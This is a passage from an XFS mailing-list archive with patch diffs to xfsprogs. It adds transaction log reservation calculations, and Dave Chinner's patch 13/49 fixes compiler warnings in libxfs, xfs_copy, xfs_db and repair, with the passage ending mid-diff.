+xfs_buf_log_overhead(void) +{ + return round_up(sizeof(struct xlog_op_header) + + sizeof(struct xfs_buf_log_format), 128); +} + +/* + * Calculate out transaction log reservation per item in bytes. + * + * The nbufs argument is used to indicate the number of items that + * will be changed in a transaction. size is used to tell how many + * bytes should be reserved per item. + */ +STATIC uint +xfs_calc_buf_res( + uint nbufs, + uint size) +{ + return nbufs * (size + xfs_buf_log_overhead()); +} + +/* + * Various log reservation values. + * + * These are based on the size of the file system block because that is what + * most transactions manipulate. Each adds in an additional 128 bytes per + * item logged to try to account for the overhead of the transaction mechanism. + * + * Note: Most of the reservations underestimate the number of allocation + * groups into which they could free extents in the xfs_bmap_finish() call. + * This is because the number in the worst case is quite high and quite + * unusual. In order to fix this we need to change xfs_bmap_finish() to free + * extents in only a single AG at a time. This will require changes to the + * EFI code as well, however, so that the EFI for the extents not freed is + * logged again in each transaction. See SGI PV #261917. + * + * Reservation functions here avoid a huge stack in xfs_trans_init due to + * register overflow from temporaries in the calculations. + */ + + +/* + * In a write transaction we can allocate a maximum of 2 + * extents. This gives: + * the inode getting the new extents: inode size + * the inode's bmap btree: max depth * block size + * the agfs of the ags from which the extents are allocated: 2 * sector + * the superblock free block counter: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + * And the bmap_finish transaction can free bmap blocks in a join: + * the agfs of the ags containing the blocks: 2 * sector size + * the agfls of the ags containing the blocks: 2 * sector size + * the super block free block counter: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_write_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * In truncating a file we free up to two extents at once. We can modify: + * the inode being truncated: inode size + * the inode's bmap btree: (max depth + 1) * block size + * And the bmap_finish transaction can free the blocks and bmap blocks: + * the agf for each of the ags: 4 * sector size + * the agfl for each of the ags: 4 * sector size + * the super block to reflect the freed blocks: sector size + * worst case split in allocation btrees per extent assuming 4 extents: + * 4 exts * 2 trees * (2 * max depth - 1) * block size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_itruncate_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(5, 0) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + + mp->m_in_maxlevels, 0))); +} + +/* + * In renaming a files we can modify: + * the four inodes involved: 4 * inode size + * the two directory btrees: 2 * (max depth + v2) * dir block size + * the two directory bmap btrees: 2 * max depth * block size + * And the bmap_finish transaction can free dir and bmap blocks (two sets + * of bmap blocks) giving: + * the agf for the ags in which the blocks live: 3 * sector size + * the agfl for the ags in which the blocks live: 3 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 3 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_rename_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(4, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 3), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For creating a link to an inode: + * the parent directory inode: inode size + * the linked inode: inode size + * the directory btree could split: (max depth + v2) * dir block size + * the directory bmap btree could join or split: (max depth + v2) * blocksize + * And the bmap_finish transaction can free some bmap blocks giving: + * the agf for the ag in which the blocks live: sector size + * the agfl for the ag in which the blocks live: sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_link_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For removing a directory entry we can modify: + * the parent directory inode: inode size + * the removed inode: inode size + * the directory btree could join: (max depth + v2) * dir block size + * the directory bmap btree could join or split: (max depth + v2) * blocksize + * And the bmap_finish transaction can free the dir and bmap blocks giving: + * the agf for the ag in which the blocks live: 2 * sector size + * the agfl for the ag in which the blocks live: 2 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_remove_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For create, break it in to the two cases that the transaction + * covers. We start with the modify case - allocation done by modification + * of the state of existing inodes - and the allocation case. + */ + +/* + * For create we can modify: + * the parent directory inode: inode size + * the new inode: inode size + * the inode btree entry: block size + * the superblock for the nlink flag: sector size + * the directory btree: (max depth + v2) * dir block size + * the directory inode's bmap btree: (max depth + v2) * block size + */ +STATIC uint +xfs_calc_create_resv_modify( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + (uint)XFS_FSB_TO_B(mp, 1) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); +} + +/* + * For create we can allocate some inodes giving: + * the agi and agf of the ag getting the new inodes: 2 * sectorsize + * the superblock for the nlink flag: sector size + * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_create_resv_alloc( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +__xfs_calc_create_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX(xfs_calc_create_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); +} + +/* + * For icreate we can allocate some inodes giving: + * the agi and agf of the ag getting the new inodes: 2 * sectorsize + * the superblock for the nlink flag: sector size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_icreate_resv_alloc( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +xfs_calc_icreate_reservation(xfs_mount_t *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX(xfs_calc_icreate_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); +} + +STATIC uint +xfs_calc_create_reservation( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return xfs_calc_icreate_reservation(mp); + return __xfs_calc_create_reservation(mp); + +} + +/* + * Making a new directory is the same as creating a new file. + */ +STATIC uint +xfs_calc_mkdir_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_create_reservation(mp); +} + + +/* + * Making a new symplink is the same as creating a new file, but + * with the added blocks for remote symlink data which can be up to 1kB in + * length (MAXPATHLEN). + */ +STATIC uint +xfs_calc_symlink_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_create_reservation(mp) + + xfs_calc_buf_res(1, MAXPATHLEN); +} + +/* + * In freeing an inode we can modify: + * the inode being freed: inode size + * the super block free inode counter: sector size + * the agi hash list and counters: sector size + * the inode btree entry: block size + * the on disk inode before ours in the agi hash list: inode cluster size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_ifree_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + + MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), + XFS_INODE_CLUSTER_SIZE(mp)) + + xfs_calc_buf_res(1, 0) + + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + + mp->m_in_maxlevels, 0) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * When only changing the inode we log the inode and possibly the superblock + * We also add a bit of slop for the transaction stuff. + */ +STATIC uint +xfs_calc_ichange_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + mp->m_sb.sb_inodesize + + mp->m_sb.sb_sectsize + + 512; + +} + +/* + * Growing the data section of the filesystem. + * superblock + * agi and agf + * allocation btrees + */ +STATIC uint +xfs_calc_growdata_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Growing the rt section of the filesystem. + * In the first set of transactions (ALLOC) we allocate space to the + * bitmap or summary files. + * superblock: sector size + * agf of the ag from which the extent is allocated: sector size + * bmap btree for bitmap/summary inode: max depth * blocksize + * bitmap/summary inode: inode size + * allocation btrees for 1 block alloc: 2 * (2 * maxdepth - 1) * blocksize + */ +STATIC uint +xfs_calc_growrtalloc_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Growing the rt section of the filesystem. + * In the second set of transactions (ZERO) we zero the new metadata blocks. + * one bitmap/summary block: blocksize + */ +STATIC uint +xfs_calc_growrtzero_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_blocksize); +} + +/* + * Growing the rt section of the filesystem. + * In the third set of transactions (FREE) we update metadata without + * allocating any new blocks. + * superblock: sector size + * bitmap inode: inode size + * summary inode: inode size + * one bitmap block: blocksize + * summary blocks: new summary size + */ +STATIC uint +xfs_calc_growrtfree_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_blocksize) + + xfs_calc_buf_res(1, mp->m_rsumsize); +} + +/* + * Logging the inode modification timestamp on a synchronous write. + * inode + */ +STATIC uint +xfs_calc_swrite_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); +} + +/* + * Logging the inode mode bits when writing a setuid/setgid file + * inode + */ +STATIC uint +xfs_calc_writeid_reservation(xfs_mount_t *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); +} + +/* + * Converting the inode from non-attributed to attributed. + * the inode being converted: inode size + * agf block and superblock (for block allocation) + * the new block (directory sized) + * bmap blocks for the new directory block + * allocation btrees + */ +STATIC uint +xfs_calc_addafork_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(1, mp->m_dirblksize) + + xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Removing the attribute fork of a file + * the inode being truncated: inode size + * the inode's bmap btree: max depth * block size + * And the bmap_finish transaction can free the blocks and bmap blocks: + * the agf for each of the ags: 4 * sector size + * the agfl for each of the ags: 4 * sector size + * the super block to reflect the freed blocks: sector size + * worst case split in allocation btrees per extent assuming 4 extents: + * 4 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_attrinval_reservation( + struct xfs_mount *mp) +{ + return MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * Setting an attribute at mount time. + * the inode getting the attribute + * the superblock for allocations + * the agfs extents are allocated from + * the attribute btree * max depth + * the inode allocation btree + * Since attribute transaction space is dependent on the size of the attribute, + * the calculation is done partially at mount time and partially at runtime(see + * below). + */ +STATIC uint +xfs_calc_attrsetm_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, XFS_FSB_TO_B(mp, 1)); +} + +/* + * Setting an attribute at runtime, transaction space unit per block. + * the superblock for allocations: sector size + * the inode bmap btree could join or split: max depth * block size + * Since the runtime attribute transaction space is dependent on the total + * blocks needed for the 1st bmap, here we calculate out the space unit for + * one block so that the caller could figure out the total space according + * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). + */ +STATIC uint +xfs_calc_attrsetrt_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Removing an attribute. + * the inode: inode size + * the attribute btree could join: max depth * block size + * the inode bmap btree could join or split: max depth * block size + * And the bmap_finish transaction can free the attr blocks freed giving: + * the agf for the ag in which the blocks live: 2 * sector size + * the agfl for the ag in which the blocks live: 2 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_attrrm_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, + XFS_FSB_TO_B(mp, 1)) + + (uint)XFS_FSB_TO_B(mp, + XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK)) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), 0)), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * Clearing a bad agino number in an agi hash bucket. + */ +STATIC uint +xfs_calc_clear_agi_bucket_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * Clearing the quotaflags in the superblock. + * the super block for changing quota flags: sector size + */ +STATIC uint +xfs_calc_qm_sbchange_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * Adjusting quota limits. + * the xfs_disk_dquot_t: sizeof(struct xfs_disk_dquot) + */ +STATIC uint +xfs_calc_qm_setqlim_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, sizeof(struct xfs_disk_dquot)); +} + +/* + * Allocating quota on disk if needed. + * the write transaction log space: XFS_WRITE_LOG_RES(mp) + * the unit of quota allocation: one system block size + */ +STATIC uint +xfs_calc_qm_dqalloc_reservation( + struct xfs_mount *mp) +{ + return XFS_WRITE_LOG_RES(mp) + + xfs_calc_buf_res(1, + XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); +} + +/* + * Turning off quotas. + * the xfs_qoff_logitem_t: sizeof(struct xfs_qoff_logitem) * 2 + * the superblock for the quota flags: sector size + */ +STATIC uint +xfs_calc_qm_quotaoff_reservation( + struct xfs_mount *mp) +{ + return sizeof(struct xfs_qoff_logitem) * 2 + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +/* + * End of turning off quotas. + * the xfs_qoff_logitem_t: sizeof(struct xfs_qoff_logitem) * 2 + */ +STATIC uint +xfs_calc_qm_quotaoff_end_reservation( + struct xfs_mount *mp) +{ + return sizeof(struct xfs_qoff_logitem) * 2; +} + +/* + * Syncing the incore super block changes to disk. + * the super block to reflect the changes: sector size + */ +STATIC uint +xfs_calc_sb_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); +} + +void +xfs_trans_resv_calc( + struct xfs_mount *mp, + struct xfs_trans_resv *resp) +{ + resp->tr_write = xfs_calc_write_reservation(mp); + resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); + resp->tr_rename = xfs_calc_rename_reservation(mp); + resp->tr_link = xfs_calc_link_reservation(mp); + resp->tr_remove = xfs_calc_remove_reservation(mp); + resp->tr_symlink = xfs_calc_symlink_reservation(mp); + resp->tr_create = xfs_calc_create_reservation(mp); + resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); + resp->tr_ifree = xfs_calc_ifree_reservation(mp); + resp->tr_ichange = xfs_calc_ichange_reservation(mp); + resp->tr_growdata = xfs_calc_growdata_reservation(mp); + resp->tr_swrite = xfs_calc_swrite_reservation(mp); + resp->tr_writeid = xfs_calc_writeid_reservation(mp); + resp->tr_addafork = xfs_calc_addafork_reservation(mp); + resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); + resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); + resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); + resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); + resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); + resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); + resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); + resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); + resp->tr_qm_sbchange = xfs_calc_qm_sbchange_reservation(mp); + resp->tr_qm_setqlim = xfs_calc_qm_setqlim_reservation(mp); + resp->tr_qm_dqalloc = xfs_calc_qm_dqalloc_reservation(mp); + resp->tr_qm_quotaoff = xfs_calc_qm_quotaoff_reservation(mp); + resp->tr_qm_equotaoff = xfs_calc_qm_quotaoff_end_reservation(mp); + resp->tr_sb = xfs_calc_sb_reservation(mp); +} diff --git a/mkfs/maxtrres.c b/mkfs/maxtrres.c index d571d77..7da83aa 100644 --- a/mkfs/maxtrres.c +++ b/mkfs/maxtrres.c @@ -52,11 +52,11 @@ max_attrsetm_trans_res_adjust( static int max_trans_res_by_mount( - xfs_mount_t *mp) + struct xfs_mount *mp) { - uint *p; - int rval; - xfs_trans_reservations_t *tr = &mp->m_reservations; + uint *p; + int rval; + struct xfs_trans_resv *tr = &mp->m_reservations; for (rval = 0, p = (uint *)tr; p < (uint *)(tr + 1); p++) { if ((int)*p > rval) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2024280AE for ; Fri, 19 Jul 2013 01:45:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A4071AC00E for ; Thu, 18 Jul 2013 23:45:57 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed669000c-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 1kXvtzS47SsOEDAQ for ; Thu, 18 Jul 2013 23:45:55 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IP-Ql for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002K5-PR for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 13/49] libxfs: fix compile warnings Date: Fri, 19 Jul 2013 16:44:48 +1000 X-ASG-Orig-Subj: [PATCH 13/49] libxfs: fix compile warnings Message-Id: <1374216324-8781-14-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216355 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Some of the code shared with userspace causes compilation warnings from things turned off in the kernel code, such as differences in variable signedness. Fix those issues. Signed-off-by: Dave Chinner --- copy/xfs_copy.c | 12 ++++++++++-- db/bmroot.c | 6 +++--- libxfs/xfs.h | 8 +++++++- libxfs/xfs_attr_remote.c | 8 ++++---- libxfs/xfs_bmap.c | 3 --- libxfs/xfs_da_btree.c | 6 +++--- libxfs/xfs_dir2_node.c | 2 ++ libxfs/xfs_ialloc.c | 2 +- libxfs/xfs_rtalloc.c | 4 ++-- repair/attr_repair.c | 2 ++ repair/incore_ino.c | 2 ++ repair/scan.c | 1 + 12 files changed, 37 insertions(+), 19 deletions(-) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index 39517da..bb37279 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -434,6 +434,10 @@ read_ag_header(int fd, xfs_agnumber_t agno, wbuf *buf, ag_header_t *ag, off = XFS_AG_DADDR(mp, agno, XFS_SB_DADDR); buf->position = (xfs_off_t) off * (xfs_off_t) BBSIZE; length = buf->length = first_agbno * blocksize; + if (length == 0) { + do_log(_("ag header buffer invalid!\n")); + exit(1); + } /* handle alignment stuff */ @@ -449,7 +453,6 @@ read_ag_header(int fd, xfs_agnumber_t agno, wbuf *buf, ag_header_t *ag, if (buf->length % buf->min_io_size != 0) buf->length = roundup(buf->length, buf->min_io_size); - ASSERT(length != 0); read_wbuf(fd, buf, mp); ASSERT(buf->length >= length); @@ -936,7 +939,12 @@ main(int argc, char **argv) for (;;) { /* none of this touches the w_buf buffer */ - ASSERT(current_level < btree_levels); + if (current_level >= btree_levels) { + do_log( + _("Error: current level %d >= btree levels %d\n"), + current_level, btree_levels); + exit(1); + } current_level++; diff --git a/db/bmroot.c b/db/bmroot.c index 3e18917..12b129e 100644 --- a/db/bmroot.c +++ b/db/bmroot.c @@ -91,13 +91,13 @@ bmroota_key_offset( int idx) { xfs_bmdr_block_t *block; - /* REFERENCED */ - xfs_dinode_t *dip; +#ifdef DEBUG + xfs_dinode_t *dip = obj; +#endif xfs_bmdr_key_t *kp; ASSERT(bitoffs(startoff) == 0); ASSERT(obj == iocur_top->data); - dip = obj; block = (xfs_bmdr_block_t *)((char *)obj + byteize(startoff)); ASSERT(XFS_DFORK_Q(dip) && (char *)block == XFS_DFORK_APTR(dip)); ASSERT(be16_to_cpu(block->bb_level) > 0); diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 3fd226c..c9d6a6d 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -189,7 +189,9 @@ roundup_pow_of_two(uint v) /* avoid gcc warning */ #define xfs_incore(bt,blkno,len,lockit) ({ \ typeof(blkno) __foo = (blkno); \ + typeof(len) __bar = (len); \ (blkno) = __foo; \ + (len) = __bar; /* no set-but-unused warning */ \ NULL; \ }) #define xfs_buf_relse(bp) libxfs_putbuf(bp) @@ -259,7 +261,11 @@ roundup_pow_of_two(uint v) #define xfs_trans_agblocks_delta(tp, d) #define xfs_trans_agflist_delta(tp, d) #define xfs_trans_agbtree_delta(tp, d) -#define xfs_trans_buf_set_type(tp, bp, t) +#define xfs_trans_buf_set_type(tp, bp, t) ({ \ + int __t = (t); \ + __t = __t; /* no set-but-unused warning */ \ +}) + #define xfs_trans_buf_copy_type(dbp, sbp) #define xfs_buf_readahead(a,b,c,ops) ((void) 0) /* no readahead */ diff --git a/libxfs/xfs_attr_remote.c b/libxfs/xfs_attr_remote.c index 0b2ca8c..59bb12d 100644 --- a/libxfs/xfs_attr_remote.c +++ b/libxfs/xfs_attr_remote.c @@ -214,7 +214,7 @@ xfs_attr_rmtval_copyout( xfs_ino_t ino, int *offset, int *valuelen, - char **dst) + __uint8_t **dst) { char *src = bp->b_addr; xfs_daddr_t bno = bp->b_bn; @@ -261,7 +261,7 @@ xfs_attr_rmtval_copyin( xfs_ino_t ino, int *offset, int *valuelen, - char **src) + __uint8_t **src) { char *dst = bp->b_addr; xfs_daddr_t bno = bp->b_bn; @@ -314,7 +314,7 @@ xfs_attr_rmtval_get( struct xfs_mount *mp = args->dp->i_mount; struct xfs_buf *bp; xfs_dablk_t lblkno = args->rmtblkno; - char *dst = args->value; + __uint8_t *dst = args->value; int valuelen = args->valuelen; int nmap; int error; @@ -378,7 +378,7 @@ xfs_attr_rmtval_set( struct xfs_bmbt_irec map; xfs_dablk_t lblkno; xfs_fileoff_t lfileoff = 0; - char *src = args->value; + __uint8_t *src = args->value; int blkcnt; int valuelen; int nmap; diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 6664265..b7f798b 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -4437,12 +4437,9 @@ xfs_bmapi_allocate( struct xfs_ifork *ifp = XFS_IFORK_PTR(bma->ip, whichfork); int tmp_logflags = 0; int error; - int rt; ASSERT(bma->length > 0); - rt = (whichfork == XFS_DATA_FORK) && XFS_IS_REALTIME_INODE(bma->ip); - /* * For the wasdelay case, we could also just allocate the stuff asked * for in this bmap call but that wouldn't be as good. diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index d7798af..b7b6705 100644 --- a/libxfs/xfs_da_btree.c +++ 